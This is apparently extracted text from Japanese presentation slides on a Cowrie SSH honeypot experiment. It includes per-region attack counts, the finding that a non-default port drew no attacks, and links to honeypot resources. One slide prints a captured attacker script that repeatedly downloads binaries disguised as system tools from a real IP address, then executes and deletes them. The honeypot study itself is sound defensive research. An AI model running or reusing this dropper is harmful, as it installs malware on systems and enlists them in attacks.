sshlowpot, sshhipot など – GitHub - paralax/awesome-honeypots: an awesome list of honeypot resources https://github.com/paralax/awesome-honeypots – Gran recopilación de honeypots : hackplayers http://www.hackplayers.com/2015/12/gran-recopilacion-de- honeypots.html?m=1 15
Transfer Sensorsサーバーの構成 # Droplet Region Cowrieの待受 SSH ポート OS 1 San Francisco 222 Ubuntu 16.04.3 2 San Francisco 22 Ubuntu 16.04.3 3 London 22 Ubuntu 16.04.3 4 Singapore 22 Ubuntu 16.04.3 22
SSHの試行回数」なので、実際にログインされて、何かコマンド が実行された数とは異なる # Droplet Region Cowrieの待受 SSH ポート 攻撃された回数 1 Singapore 22 223,551 2 San Francisco 22 6,075 3 London 22 5,182 4 San Francisco 222 0 5 合計 234,808
cat 2e979158d066a4e5324d831c56da95c733e009a5533a787b9a976b065f21c39a #!/bin/bash cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/ntpd; chmod +x ntpd; ./ntpd; rm -rf ntpd cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/sshd; chmod +x sshd; ./sshd; rm -rf sshd cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/openssh; chmod +x openssh; ./openssh; rm -rf openssh cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/bash; chmod +x bash; ./bash; rm -rf bash cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/tftp; chmod +x tftp; ./tftp; rm -rf tftp cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/wget; chmod +x wget; ./wget; rm -rf wget cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/cron; chmod +x cron; ./cron; rm -rf cron cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/ftp; chmod +x ftp; ./ftp; rm -rf ftp cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/pftp; chmod +x pftp; ./pftp; rm -rf pftp cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/sh; chmod +x sh; ./sh; rm -rf sh cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/[cpu]; chmod +x [cpu]; ./[cpu]; rm -rf [cpu] cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/apache2; chmod +x apache2; ./apache2; rm -rf apache2 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/telnetd; chmod +x telnetd; ./telnetd; rm -rf telnetd
223,551 2 San Francisco 22 6,075 3 London 22 5,182 4 San Francisco 222 0 5 合計 234,808 攻撃された回数 42 • Singaporeが攻撃された回数が一番、多い • San FranciscoとLondonは殆ど同じ(日によって順位が変動している) • SSHのポートをデフォルトの22から222に変更すると、攻撃されなかった
Deploying, Managing, and Leveraging Honeypots in the Enterprise using Open Source Tools (SlideShare) https://www.slideshare.net/jasontrost/deploying-managing-and- leveraging-honeypots-in-the-enterprise-using-open-source-tools ▪ Lab Exercises: Deploying, Managing, and Leveraging Honeypot s in the Enterprise using Open Source Tools (PDF) http://bit.ly/honey-labs ▪ Catching Flies: A Guide to the Various Flavors of Honeypots - catching-flies-guide-flavors-honeypots-36897 https://www.sans.org/reading-room/whitepapers/attacking/catching- flies-guide-flavors-honeypots-36897 48